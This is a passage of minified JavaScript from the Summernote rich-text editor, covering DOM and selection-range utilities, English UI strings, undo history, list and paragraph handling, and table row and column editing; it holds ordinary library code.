Z(t)&&!!at(t,K)},isPre:V,isList:Y,isTable:G,isData:_,isCell:J,isBlockquote:X,isBodyContainer:tt,isAnchor:et,isDiv:U("DIV"),isLi:W,isBR:U("BR"),isSpan:U("SPAN"),isB:U("B"),isU:U("U"),isS:U("S"),isI:U("I"),isImg:U("IMG"),isTextarea:It,isEmpty:rt,isEmptyAnchor:C.and(et,rt),isClosestSibling:function(t,e){return t.nextSibling===e||t.previousSibling===e},withClosestSiblings:function(t,e){e=e||C.ok;var o=[];return t.previousSibling&&e(t.previousSibling)&&o.push(t.previousSibling),o.push(t),t.nextSibling&&e(t.nextSibling)&&o.push(t.nextSibling),o},nodeLength:it,isLeftEdgePoint:ht,isRightEdgePoint:pt,isEdgePoint:ft,isLeftEdgeOf:mt,isRightEdgeOf:gt,isLeftEdgePointOf:function(t,e){return ht(t)&&mt(t.node,e)},isRightEdgePointOf:function(t,e){return pt(t)&>(t.node,e)},prevPoint:yt,nextPoint:kt,isSamePoint:Ct,isVisiblePoint:function(t){if(j(t.node)||!bt(t.node)||rt(t.node))return!0;var e=t.node.childNodes[t.offset-1],o=t.node.childNodes[t.offset];return!(e&&!q(e)||o&&!q(o))},prevPointUntil:function(t,e){for(;t;){if(e(t))return t;t=yt(t)}return null},nextPointUntil:function(t,e){for(;t;){if(e(t))return t;t=kt(t)}return null},isCharPoint:function(t){if(!j(t.node))return!1;var e=t.node.nodeValue.charAt(t.offset-1);return e&&" "!==e&&e!==M},walkPoint:function(t,e,o,n){for(var i=t;i&&(o(i),!Ct(i,e));)i=kt(i,n&&t.node!==i.node&&e.node!==i.node)},ancestor:at,singleChildAncestor:function(t,e){for(t=t.parentNode;t&&1===it(t);){if(e(t))return t;if(O(t))break;t=t.parentNode}return null},listAncestor:lt,lastAncestor:function(t,e){var o=lt(t);return N.last(o.filter(e))},listNext:ct,listPrev:function(t,e){e=e||C.fail;for(var o=[];t&&!e(t);)o.push(t),t=t.previousSibling;return o},listDescendant:function(t,e){var o=[];return e=e||C.ok,function n(i){t!==i&&e(i)&&o.push(i);for(var r=0,s=i.childNodes.length;r<s;r++)n(i.childNodes[r])}(t),o},commonAncestor:function(e,o){for(var n=lt(e),i=o;i;i=i.parentNode)if(t.inArray(i,n)>-1)return i;return null},wrap:function(e,o){var n=e.parentNode,i=t("<"+o+">")[0];return n.insertBefore(i,e),i.appendChild(e),i},insertAfter:dt,appendChildNodes:ut,position:vt,hasChildren:bt,makeOffsetPath:function(t,e){return lt(e,C.eq(t)).map(vt).reverse()},fromOffsetPath:function(t,e){for(var o=t,n=0,i=e.length;n<i;n++)o=o.childNodes.length<=e[n]?o.childNodes[o.childNodes.length-1]:o.childNodes[e[n]];return o},splitTree:xt,splitPoint:function(t,e){var o,n,i=e?K:tt,r=lt(t.node,i),s=N.last(r)||t.node;i(s)?(o=r[r.length-2],n=s):n=(o=s).parentNode;var a=o&&xt(o,t,{isSkipPaddingBlankHTML:e,isNotSplitEdgePoint:e});return a||n!==t.node||(a=t.node.childNodes[t.offset]),{rightNode:a,container:n}},create:St,createText:function(t){return document.createTextNode(t)},remove:Tt,removeWhile:function(t,e){for(;t&&!O(t)&&e(t);){var o=t.parentNode;Tt(t),t=o}},replace:function(t,e){if(t.nodeName.toUpperCase()===e.toUpperCase())return t;var o=St(e);return t.style.cssText&&(o.style.cssText=t.style.cssText),ut(o,N.from(t.childNodes)),dt(o,t),Tt(t),o},html:function(e,o){var n=$t(e);o&&(n=n.replace(/<(\/?)(\b(?!!)[^>\s]*)(.*?)(\s*\/?>)/g,function(t,e,o){o=o.toUpperCase();var n=/^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(o)&&!!e,i=/^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(o);return t+(n||i?"\n":"")}),n=t.trim(n));return n},value:$t,posFromPlaceholder:function(e){var o=t(e),n=o.offset(),i=o.outerHeight(!0);return{left:n.left,top:n.top+i}},attachEvents:function(t,e){Object.keys(e).forEach(function(o){t.on(o,e[o])})},detachEvents:function(t,e){Object.keys(e).forEach(function(o){t.off(o,e[o])})},isCustomStyleTag:function(t){return t&&!j(t)&&N.contains(t.classList,"note-styletag")}};t.summernote=t.summernote||{lang:{}},t.extend(t.summernote.lang,{"en-US":{font:{bold:"Bold",italic:"Italic",underline:"Underline",clear:"Remove Font Style",height:"Line Height",name:"Font Family",strikethrough:"Strikethrough",subscript:"Subscript",superscript:"Superscript",size:"Font Size"},image:{image:"Picture",insert:"Insert Image",resizeFull:"Resize Full",resizeHalf:"Resize Half",resizeQuarter:"Resize Quarter",floatLeft:"Float Left",floatRight:"Float Right",floatNone:"Float None",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Drag image or text here",dropImage:"Drop image or Text",selectFromFiles:"Select from files",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"Image URL",remove:"Remove Image",original:"Original"},video:{video:"Video",videoLink:"Video Link",insert:"Insert Video",url:"Video URL",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)"},link:{link:"Link",insert:"Insert Link",unlink:"Unlink",edit:"Edit",textToDisplay:"Text to display",url:"To what URL should this link go?",openInNewWindow:"Open in new window"},table:{table:"Table",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Insert Horizontal Rule"},style:{style:"Style",p:"Normal",blockquote:"Quote",pre:"Code",h1:"Header 1",h2:"Header 2",h3:"Header 3",h4:"Header 4",h5:"Header 5",h6:"Header 6"},lists:{unordered:"Unordered list",ordered:"Ordered list"},options:{help:"Help",fullscreen:"Full Screen",codeview:"Code View"},paragraph:{paragraph:"Paragraph",outdent:"Outdent",indent:"Indent",left:"Align left",center:"Align center",right:"Align right",justify:"Justify full"},color:{recent:"Recent Color",more:"More Color",background:"Background Color",foreground:"Foreground Color",transparent:"Transparent",setTransparent:"Set transparent",reset:"Reset",resetToDefault:"Reset to default"},shortcut:{shortcuts:"Keyboard shortcuts",close:"Close",textFormatting:"Text formatting",action:"Action",paragraphFormatting:"Paragraph formatting",documentStyle:"Document Style",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Undo",redo:"Redo"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}});var Et={BACKSPACE:8,TAB:9,ENTER:13,SPACE:32,DELETE:46,LEFT:37,UP:38,RIGHT:39,DOWN:40,NUM0:48,NUM1:49,NUM2:50,NUM3:51,NUM4:52,NUM5:53,NUM6:54,NUM7:55,NUM8:56,B:66,E:69,I:73,J:74,K:75,L:76,R:82,S:83,U:85,V:86,Y:89,Z:90,SLASH:191,LEFTBRACKET:219,BACKSLASH:220,RIGHTBRACKET:221},At={isEdit:function(t){return N.contains([Et.BACKSPACE,Et.TAB,Et.ENTER,Et.SPACE,Et.DELETE],t)},isMove:function(t){return N.contains([Et.LEFT,Et.UP,Et.RIGHT,Et.DOWN],t)},nameFromCode:C.invertObject(Et),code:Et};function Rt(t,e){var o,n,i=t.parentElement(),r=document.body.createTextRange(),s=N.from(i.childNodes);for(o=0;o<s.length;o++)if(!Nt.isText(s[o])){if(r.moveToElementText(s[o]),r.compareEndPoints("StartToStart",t)>=0)break;n=s[o]}if(0!==o&&Nt.isText(s[o-1])){var a=document.body.createTextRange(),l=null;a.moveToElementText(n||i),a.collapse(!n),l=n?n.nextSibling:i.firstChild;var c=t.duplicate();c.setEndPoint("StartToStart",a);for(var d=c.text.replace(/[\r\n]/g,"").length;d>l.nodeValue.length&&l.nextSibling;)d-=l.nodeValue.length,l=l.nextSibling;l.nodeValue;e&&l.nextSibling&&Nt.isText(l.nextSibling)&&d===l.nodeValue.length&&(d-=l.nodeValue.length,l=l.nextSibling),i=l,o=d}return{cont:i,offset:o}}function Pt(t){var e=function(t,o){var n,i;if(Nt.isText(t)){var r=Nt.listPrev(t,C.not(Nt.isText)),s=N.last(r).previousSibling;n=s||t.parentNode,o+=N.sum(N.tail(r),Nt.nodeLength),i=!s}else{if(n=t.childNodes[o]||t,Nt.isText(n))return e(n,0);o=0,i=!1}return{node:n,collapseToStart:i,offset:o}},o=document.body.createTextRange(),n=e(t.node,t.offset);return o.moveToElementText(n.node),o.collapse(n.collapseToStart),o.moveStart("character",n.offset),o}var Lt=function(){function e(t,e,o,n){this.sc=t,this.so=e,this.ec=o,this.eo=n,this.isOnEditable=this.makeIsOn(Nt.isEditable),this.isOnList=this.makeIsOn(Nt.isList),this.isOnAnchor=this.makeIsOn(Nt.isAnchor),this.isOnCell=this.makeIsOn(Nt.isCell),this.isOnData=this.makeIsOn(Nt.isData)}return e.prototype.nativeRange=function(){if(z.isW3CRangeSupport){var t=document.createRange();return t.setStart(this.sc,this.so),t.setEnd(this.ec,this.eo),t}var e=Pt({node:this.sc,offset:this.so});return e.setEndPoint("EndToEnd",Pt({node:this.ec,offset:this.eo})),e},e.prototype.getPoints=function(){return{sc:this.sc,so:this.so,ec:this.ec,eo:this.eo}},e.prototype.getStartPoint=function(){return{node:this.sc,offset:this.so}},e.prototype.getEndPoint=function(){return{node:this.ec,offset:this.eo}},e.prototype.select=function(){var t=this.nativeRange();if(z.isW3CRangeSupport){var e=document.getSelection();e.rangeCount>0&&e.removeAllRanges(),e.addRange(t)}else t.select();return this},e.prototype.scrollIntoView=function(e){var o=t(e).height();return e.scrollTop+o<this.sc.offsetTop&&(e.scrollTop+=Math.abs(e.scrollTop+o-this.sc.offsetTop)),this},e.prototype.normalize=function(){var t=function(t,e){if(Nt.isVisiblePoint(t)&&!Nt.isEdgePoint(t)||Nt.isVisiblePoint(t)&&Nt.isRightEdgePoint(t)&&!e||Nt.isVisiblePoint(t)&&Nt.isLeftEdgePoint(t)&&e||Nt.isVisiblePoint(t)&&Nt.isBlock(t.node)&&Nt.isEmpty(t.node))return t;var o=Nt.ancestor(t.node,Nt.isBlock);if((Nt.isLeftEdgePointOf(t,o)||Nt.isVoid(Nt.prevPoint(t).node))&&!e||(Nt.isRightEdgePointOf(t,o)||Nt.isVoid(Nt.nextPoint(t).node))&&e){if(Nt.isVisiblePoint(t))return t;e=!e}return(e?Nt.nextPointUntil(Nt.nextPoint(t),Nt.isVisiblePoint):Nt.prevPointUntil(Nt.prevPoint(t),Nt.isVisiblePoint))||t},o=t(this.getEndPoint(),!1),n=this.isCollapsed()?o:t(this.getStartPoint(),!0);return new e(n.node,n.offset,o.node,o.offset)},e.prototype.nodes=function(t,e){t=t||C.ok;var o=e&&e.includeAncestor,n=e&&e.fullyContains,i=this.getStartPoint(),r=this.getEndPoint(),s=[],a=[];return Nt.walkPoint(i,r,function(e){var i;Nt.isEditable(e.node)||(n?(Nt.isLeftEdgePoint(e)&&a.push(e.node),Nt.isRightEdgePoint(e)&&N.contains(a,e.node)&&(i=e.node)):i=o?Nt.ancestor(e.node,t):e.node,i&&t(i)&&s.push(i))},!0),N.unique(s)},e.prototype.commonAncestor=function(){return Nt.commonAncestor(this.sc,this.ec)},e.prototype.expand=function(t){var o=Nt.ancestor(this.sc,t),n=Nt.ancestor(this.ec,t);if(!o&&!n)return new e(this.sc,this.so,this.ec,this.eo);var i=this.getPoints();return o&&(i.sc=o,i.so=0),n&&(i.ec=n,i.eo=Nt.nodeLength(n)),new e(i.sc,i.so,i.ec,i.eo)},e.prototype.collapse=function(t){return t?new e(this.sc,this.so,this.sc,this.so):new e(this.ec,this.eo,this.ec,this.eo)},e.prototype.splitText=function(){var t=this.sc===this.ec,o=this.getPoints();return Nt.isText(this.ec)&&!Nt.isEdgePoint(this.getEndPoint())&&this.ec.splitText(this.eo),Nt.isText(this.sc)&&!Nt.isEdgePoint(this.getStartPoint())&&(o.sc=this.sc.splitText(this.so),o.so=0,t&&(o.ec=o.sc,o.eo=this.eo-this.so)),new e(o.sc,o.so,o.ec,o.eo)},e.prototype.deleteContents=function(){if(this.isCollapsed())return this;var o=this.splitText(),n=o.nodes(null,{fullyContains:!0}),i=Nt.prevPointUntil(o.getStartPoint(),function(t){return!N.contains(n,t.node)}),r=[];return t.each(n,function(t,e){var o=e.parentNode;i.node!==o&&1===Nt.nodeLength(o)&&r.push(o),Nt.remove(e,!1)}),t.each(r,function(t,e){Nt.remove(e,!1)}),new e(i.node,i.offset,i.node,i.offset).normalize()},e.prototype.makeIsOn=function(t){return function(){var e=Nt.ancestor(this.sc,t);return!!e&&e===Nt.ancestor(this.ec,t)}},e.prototype.isLeftEdgeOf=function(t){if(!Nt.isLeftEdgePoint(this.getStartPoint()))return!1;var e=Nt.ancestor(this.sc,t);return e&&Nt.isLeftEdgeOf(this.sc,e)},e.prototype.isCollapsed=function(){return this.sc===this.ec&&this.so===this.eo},e.prototype.wrapBodyInlineWithPara=function(){if(Nt.isBodyContainer(this.sc)&&Nt.isEmpty(this.sc))return this.sc.innerHTML=Nt.emptyPara,new e(this.sc.firstChild,0,this.sc.firstChild,0);var t,o=this.normalize();if(Nt.isParaInline(this.sc)||Nt.isPara(this.sc))return o;if(Nt.isInline(o.sc)){var n=Nt.listAncestor(o.sc,C.not(Nt.isInline));t=N.last(n),Nt.isInline(t)||(t=n[n.length-2]||o.sc.childNodes[o.so])}else t=o.sc.childNodes[o.so>0?o.so-1:0];var i=Nt.listPrev(t,Nt.isParaInline).reverse();if((i=i.concat(Nt.listNext(t.nextSibling,Nt.isParaInline))).length){var r=Nt.wrap(N.head(i),"p");Nt.appendChildNodes(r,N.tail(i))}return this.normalize()},e.prototype.insertNode=function(t){var e=this.wrapBodyInlineWithPara().deleteContents(),o=Nt.splitPoint(e.getStartPoint(),Nt.isInline(t));return o.rightNode?o.rightNode.parentNode.insertBefore(t,o.rightNode):o.container.appendChild(t),t},e.prototype.pasteHTML=function(e){var o=t("<div></div>").html(e)[0],n=N.from(o.childNodes),i=this.wrapBodyInlineWithPara().deleteContents();return n.reverse().map(function(t){return i.insertNode(t)}).reverse()},e.prototype.toString=function(){var t=this.nativeRange();return z.isW3CRangeSupport?t.toString():t.text},e.prototype.getWordRange=function(t){var o=this.getEndPoint();if(!Nt.isCharPoint(o))return this;var n=Nt.prevPointUntil(o,function(t){return!Nt.isCharPoint(t)});return t&&(o=Nt.nextPointUntil(o,function(t){return!Nt.isCharPoint(t)})),new e(n.node,n.offset,o.node,o.offset)},e.prototype.bookmark=function(t){return{s:{path:Nt.makeOffsetPath(t,this.sc),offset:this.so},e:{path:Nt.makeOffsetPath(t,this.ec),offset:this.eo}}},e.prototype.paraBookmark=function(t){return{s:{path:N.tail(Nt.makeOffsetPath(N.head(t),this.sc)),offset:this.so},e:{path:N.tail(Nt.makeOffsetPath(N.last(t),this.ec)),offset:this.eo}}},e.prototype.getClientRects=function(){return this.nativeRange().getClientRects()},e}(),Ht={create:function(t,e,o,n){if(4===arguments.length)return new Lt(t,e,o,n);if(2===arguments.length)return new Lt(t,e,o=t,n=e);var i=this.createFromSelection();return i||1!==arguments.length?i:(i=this.createFromNode(arguments[0])).collapse(Nt.emptyPara===arguments[0].innerHTML)},createFromSelection:function(){var t,e,o,n;if(z.isW3CRangeSupport){var i=document.getSelection();if(!i||0===i.rangeCount)return null;if(Nt.isBody(i.anchorNode))return null;var r=i.getRangeAt(0);t=r.startContainer,e=r.startOffset,o=r.endContainer,n=r.endOffset}else{var s=document.selection.createRange(),a=s.duplicate();a.collapse(!1);var l=s;l.collapse(!0);var c=Rt(l,!0),d=Rt(a,!1);Nt.isText(c.node)&&Nt.isLeftEdgePoint(c)&&Nt.isTextNode(d.node)&&Nt.isRightEdgePoint(d)&&d.node.nextSibling===c.node&&(c=d),t=c.cont,e=c.offset,o=d.cont,n=d.offset}return new Lt(t,e,o,n)},createFromNode:function(t){var e=t,o=0,n=t,i=Nt.nodeLength(n);return Nt.isVoid(e)&&(o=Nt.listPrev(e).length-1,e=e.parentNode),Nt.isBR(n)?(i=Nt.listPrev(n).length-1,n=n.parentNode):Nt.isVoid(n)&&(i=Nt.listPrev(n).length,n=n.parentNode),this.create(e,o,n,i)},createFromNodeBefore:function(t){return this.createFromNode(t).collapse(!0)},createFromNodeAfter:function(t){return this.createFromNode(t).collapse()},createFromBookmark:function(t,e){var o=Nt.fromOffsetPath(t,e.s.path),n=e.s.offset,i=Nt.fromOffsetPath(t,e.e.path),r=e.e.offset;return new Lt(o,n,i,r)},createFromParaBookmark:function(t,e){var o=t.s.offset,n=t.e.offset,i=Nt.fromOffsetPath(N.head(e),t.s.path),r=Nt.fromOffsetPath(N.last(e),t.e.path);return new Lt(i,o,r,n)}};var Dt=function(){function t(t){this.stack=[],this.stackOffset=-1,this.$editable=t,this.editable=t[0]}return t.prototype.makeSnapshot=function(){var t=Ht.create(this.editable);return{contents:this.$editable.html(),bookmark:t?t.bookmark(this.editable):{s:{path:[],offset:0},e:{path:[],offset:0}}}},t.prototype.applySnapshot=function(t){null!==t.contents&&this.$editable.html(t.contents),null!==t.bookmark&&Ht.createFromBookmark(this.editable,t.bookmark).select()},t.prototype.rewind=function(){this.$editable.html()!==this.stack[this.stackOffset].contents&&this.recordUndo(),this.stackOffset=0,this.applySnapshot(this.stack[this.stackOffset])},t.prototype.reset=function(){this.stack=[],this.stackOffset=-1,this.$editable.html(""),this.recordUndo()},t.prototype.undo=function(){this.$editable.html()!==this.stack[this.stackOffset].contents&&this.recordUndo(),this.stackOffset>0&&(this.stackOffset--,this.applySnapshot(this.stack[this.stackOffset]))},t.prototype.redo=function(){this.stack.length-1>this.stackOffset&&(this.stackOffset++,this.applySnapshot(this.stack[this.stackOffset]))},t.prototype.recordUndo=function(){this.stackOffset++,this.stack.length>this.stackOffset&&(this.stack=this.stack.slice(0,this.stackOffset)),this.stack.push(this.makeSnapshot())},t}(),Ft=function(){function e(){}return e.prototype.jQueryCSS=function(e,o){if(z.jqueryVersion<1.9){var n={};return t.each(o,function(t,o){n[o]=e.css(o)}),n}return e.css(o)},e.prototype.fromNode=function(t){var e=this.jQueryCSS(t,["font-family","font-size","text-align","list-style-type","line-height"])||{};return e["font-size"]=parseInt(e["font-size"],10),e},e.prototype.stylePara=function(e,o){t.each(e.nodes(Nt.isPara,{includeAncestor:!0}),function(e,n){t(n).css(o)})},e.prototype.styleNodes=function(e,o){e=e.splitText();var n=o&&o.nodeName||"SPAN",i=!(!o||!o.expandClosestSibling),r=!(!o||!o.onlyPartialContains);if(e.isCollapsed())return[e.insertNode(Nt.create(n))];var s=Nt.makePredByNodeName(n),a=e.nodes(Nt.isText,{fullyContains:!0}).map(function(t){return Nt.singleChildAncestor(t,s)||Nt.wrap(t,n)});if(i){if(r){var l=e.nodes();s=C.and(s,function(t){return N.contains(l,t)})}return a.map(function(e){var o=Nt.withClosestSiblings(e,s),n=N.head(o),i=N.tail(o);return t.each(i,function(t,e){Nt.appendChildNodes(n,e.childNodes),Nt.remove(e)}),N.head(o)})}return a},e.prototype.current=function(e){var o=t(Nt.isElement(e.sc)?e.sc:e.sc.parentNode),n=this.fromNode(o);try{n=t.extend(n,{"font-bold":document.queryCommandState("bold")?"bold":"normal","font-italic":document.queryCommandState("italic")?"italic":"normal","font-underline":document.queryCommandState("underline")?"underline":"normal","font-subscript":document.queryCommandState("subscript")?"subscript":"normal","font-superscript":document.queryCommandState("superscript")?"superscript":"normal","font-strikethrough":document.queryCommandState("strikethrough")?"strikethrough":"normal","font-family":document.queryCommandValue("fontname")||n["font-family"]})}catch(t){}if(e.isOnList()){var i=t.inArray(n["list-style-type"],["circle","disc","disc-leading-zero","square"])>-1;n["list-style"]=i?"unordered":"ordered"}else n["list-style"]="none";var r=Nt.ancestor(e.sc,Nt.isPara);if(r&&r.style["line-height"])n["line-height"]=r.style.lineHeight;else{var s=parseInt(n["line-height"],10)/parseInt(n["font-size"],10);n["line-height"]=s.toFixed(1)}return n.anchor=e.isOnAnchor()&&Nt.ancestor(e.sc,Nt.isAnchor),n.ancestors=Nt.listAncestor(e.sc,Nt.isEditable),n.range=e,n},e}(),Bt=function(){function e(){}return e.prototype.insertOrderedList=function(t){this.toggleList("OL",t)},e.prototype.insertUnorderedList=function(t){this.toggleList("UL",t)},e.prototype.indent=function(e){var o=this,n=Ht.create(e).wrapBodyInlineWithPara(),i=n.nodes(Nt.isPara,{includeAncestor:!0}),r=N.clusterBy(i,C.peq2("parentNode"));t.each(r,function(e,n){var i=N.head(n);Nt.isLi(i)?o.wrapList(n,i.parentNode.nodeName):t.each(n,function(e,o){t(o).css("marginLeft",function(t,e){return(parseInt(e,10)||0)+25})})}),n.select()},e.prototype.outdent=function(e){var o=this,n=Ht.create(e).wrapBodyInlineWithPara(),i=n.nodes(Nt.isPara,{includeAncestor:!0}),r=N.clusterBy(i,C.peq2("parentNode"));t.each(r,function(e,n){var i=N.head(n);Nt.isLi(i)?o.releaseList([n]):t.each(n,function(e,o){t(o).css("marginLeft",function(t,e){return(e=parseInt(e,10)||0)>25?e-25:""})})}),n.select()},e.prototype.toggleList=function(e,o){var n=this,i=Ht.create(o).wrapBodyInlineWithPara(),r=i.nodes(Nt.isPara,{includeAncestor:!0}),s=i.paraBookmark(r),a=N.clusterBy(r,C.peq2("parentNode"));if(N.find(r,Nt.isPurePara)){var l=[];t.each(a,function(t,o){l=l.concat(n.wrapList(o,e))}),r=l}else{var c=i.nodes(Nt.isList,{includeAncestor:!0}).filter(function(o){return!t.nodeName(o,e)});c.length?t.each(c,function(t,o){Nt.replace(o,e)}):r=this.releaseList(a,!0)}Ht.createFromParaBookmark(s,r).select()},e.prototype.wrapList=function(t,e){var o=N.head(t),n=N.last(t),i=Nt.isList(o.previousSibling)&&o.previousSibling,r=Nt.isList(n.nextSibling)&&n.nextSibling,s=i||Nt.insertAfter(Nt.create(e||"UL"),n);return t=t.map(function(t){return Nt.isPurePara(t)?Nt.replace(t,"LI"):t}),Nt.appendChildNodes(s,t),r&&(Nt.appendChildNodes(s,N.from(r.childNodes)),Nt.remove(r)),t},e.prototype.releaseList=function(e,o){var n=[];return t.each(e,function(e,i){var r=N.head(i),s=N.last(i),a=o?Nt.lastAncestor(r,Nt.isList):r.parentNode,l=a.childNodes.length>1?Nt.splitTree(a,{node:s.parentNode,offset:Nt.position(s)+1},{isSkipPaddingBlankHTML:!0}):null,c=Nt.splitTree(a,{node:r.parentNode,offset:Nt.position(r)},{isSkipPaddingBlankHTML:!0});i=o?Nt.listDescendant(c,Nt.isLi):N.from(c.childNodes).filter(Nt.isLi),!o&&Nt.isList(a.parentNode)||(i=i.map(function(t){return Nt.replace(t,"P")})),t.each(N.from(i).reverse(),function(t,e){Nt.insertAfter(e,a)});var d=N.compact([a,c,l]);t.each(d,function(e,o){var n=[o].concat(Nt.listDescendant(o,Nt.isList));t.each(n.reverse(),function(t,e){Nt.nodeLength(e)||Nt.remove(e,!0)})}),n=n.concat(i)}),n},e}(),zt=function(){function e(){this.bullet=new Bt}return e.prototype.insertTab=function(t,e){var o=Nt.createText(new Array(e+1).join(Nt.NBSP_CHAR));(t=t.deleteContents()).insertNode(o,!0),(t=Ht.create(o,e)).select()},e.prototype.insertParagraph=function(e){var o=Ht.create(e);o=(o=o.deleteContents()).wrapBodyInlineWithPara();var n,i=Nt.ancestor(o.sc,Nt.isPara);if(i){if(Nt.isEmpty(i)&&Nt.isLi(i))return void this.bullet.toggleList(i.parentNode.nodeName);if(Nt.isEmpty(i)&&Nt.isPara(i)&&Nt.isBlockquote(i.parentNode))Nt.insertAfter(i,i.parentNode),n=i;else{n=Nt.splitTree(i,o.getStartPoint());var r=Nt.listDescendant(i,Nt.isEmptyAnchor);r=r.concat(Nt.listDescendant(n,Nt.isEmptyAnchor)),t.each(r,function(t,e){Nt.remove(e)}),(Nt.isHeading(n)||Nt.isPre(n)||Nt.isCustomStyleTag(n))&&Nt.isEmpty(n)&&(n=Nt.replace(n,"p"))}}else{var s=o.sc.childNodes[o.so];n=t(Nt.emptyPara)[0],s?o.sc.insertBefore(n,s):o.sc.appendChild(n)}Ht.create(n,0).normalize().select().scrollIntoView(e)},e}(),Mt=function(t,e,o,n){var i={colPos:0,rowPos:0},r=[],s=[];function a(t,e,o,n,i,s,a){var l={baseRow:o,baseCell:n,isRowSpan:i,isColSpan:s,isVirtual:a};r[t]||(r[t]=[]),r[t][e]=l}function l(t,e){if(!r[t])return e;if(!r[t][e])return e;for(var o=e;r[t][o];)if(o++,!r[t][o])return o}function c(t,e){var o=l(t.rowIndex,e.cellIndex),n=e.colSpan>1,r=e.rowSpan>1,s=t.rowIndex===i.rowPos&&e.cellIndex===i.colPos;a(t.rowIndex,o,t,e,r,n,!1);var c=e.attributes.rowSpan?parseInt(e.attributes.rowSpan.value,10):0;if(c>1)for(var u=1;u<c;u++){var h=t.rowIndex+u;d(h,o,e,s),a(h,o,t,e,!0,n,!0)}var p=e.attributes.colSpan?parseInt(e.attributes.colSpan.value,10):0;if(p>1)for(var f=1;f<p;f++){var m=l(t.rowIndex,o+f);d(t.rowIndex,m,e,s),a(t.rowIndex,m,t,e,r,!0,!0)}}function d(t,e,o,n){t===i.rowPos&&i.colPos>=o.cellIndex&&o.cellIndex<=e&&!n&&i.colPos++}function u(t){switch(e){case Mt.where.Column:if(t.isColSpan)return Mt.resultAction.SubtractSpanCount;break;case Mt.where.Row:if(!t.isVirtual&&t.isRowSpan)return Mt.resultAction.AddCell;if(t.isRowSpan)return Mt.resultAction.SubtractSpanCount}return Mt.resultAction.RemoveCell}function h(t){switch(e){case Mt.where.Column:if(t.isColSpan)return Mt.resultAction.SumSpanCount;if(t.isRowSpan&&t.isVirtual)return Mt.resultAction.Ignore;break;case Mt.where.Row:if(t.isRowSpan)return Mt.resultAction.SumSpanCount;if(t.isColSpan&&t.isVirtual)return Mt.resultAction.Ignore}return Mt.resultAction.AddCell}this.getActionList=function(){for(var t,n,a,l=e===Mt.where.Row?i.rowPos:-1,c=e===Mt.where.Column?i.colPos:-1,d=0,p=!0;p;){var f=l>=0?l:d,m=c>=0?c:d,g=r[f];if(!g)return p=!1,s;var v=g[m];if(!v)return p=!1,s;var b=Mt.resultAction.Ignore;switch(o){case Mt.requestAction.Add:b=h(v);break;case Mt.requestAction.Delete:b=u(v)}s.push((t=b,n=f,a=m,{baseCell:v.baseCell,action:t,virtualTable:{rowIndex:n,cellIndex:a}})),d++}return s},t&&t.tagName&&("td"===t.tagName.toLowerCase()||"th"===t.tagName.toLowerCase())?(i.colPos=t.cellIndex,t.parentElement&&t.parentElement.tagName&&"tr"===t.parentElement.tagName.toLowerCase()?i.rowPos=t.parentElement.rowIndex:console.error("Impossible to identify start Row point.",t)):console.error("Impossible to identify start Cell point.",t),function(){for(var t=n.rows,e=0;e<t.length;e++)for(var o=t[e].cells,i=0;i<o.length;i++)c(t[e],o[i])}()};Mt.where={Row:0,Column:1},Mt.requestAction={Add:0,Delete:1},Mt.resultAction={Ignore:0,SubtractSpanCount:1,RemoveCell:2,AddCell:3,SumSpanCount:4};var Ot,Ut=function(){function e(){}return e.prototype.tab=function(t,e){var o=Nt.ancestor(t.commonAncestor(),Nt.isCell),n=Nt.ancestor(o,Nt.isTable),i=Nt.listDescendant(n,Nt.isCell),r=N[e?"prev":"next"](i,o);r&&Ht.create(r,0).select()},e.prototype.addRow=function(e,o){for(var n=Nt.ancestor(e.commonAncestor(),Nt.isCell),i=t(n).closest("tr"),r=this.recoverAttributes(i),s=t("<tr"+r+"></tr>"),a=new Mt(n,Mt.where.Row,Mt.requestAction.Add,t(i).closest("table")[0]).getActionList(),l=0;l<a.length;l++){var c=a[l],d=this.recoverAttributes(c.baseCell);switch(c.action){case Mt.resultAction.AddCell:s.append("<td"+d+">"+Nt.blank+"</td>");break;case Mt.resultAction.SumSpanCount:if("top"===o)if((c.baseCell.parent?c.baseCell.closest("tr").rowIndex:0)<=i[0].rowIndex){var u=t("<div></div>").append(t("<td"+d+">"+Nt.blank+"</td>").removeAttr("rowspan")).html();s.append(u);break}var h=parseInt(c.baseCell.rowSpan,10);h++,c.baseCell.setAttribute("rowSpan",h)}}if("top"===o)i.before(s);else{if(n.rowSpan>1){var p=i[0].rowIndex+(n.rowSpan-2);return void t(t(i).parent().find("tr")[p]).after(t(s))}i.after(s)}},e.prototype.addCol=function(e,o){var n=Nt.ancestor(e.commonAncestor(),Nt.isCell),i=t(n).closest("tr");t(i).siblings().push(i);for(var r=new Mt(n,Mt.where.Column,Mt.requestAction.Add,t(i).closest("table")[0]).getActionList(),s=0;s<r.length;s++){var a=r[s],l=this.recoverAttributes(a.baseCell);switch(a.action){case Mt.resultAction.AddCell:"right"===o?t(a.baseCell).after("<td"+l+">"+Nt.blank+"</td>"):t(a.baseCell).before("<td"+l+">"+Nt.blank+"</td>");break;case Mt.resultAction.SumSpanCount:if("right"===o){var c=parseInt(a.baseCell.colSpan,10);c++,a.baseCell.setAttribute("colSpan",c)}else 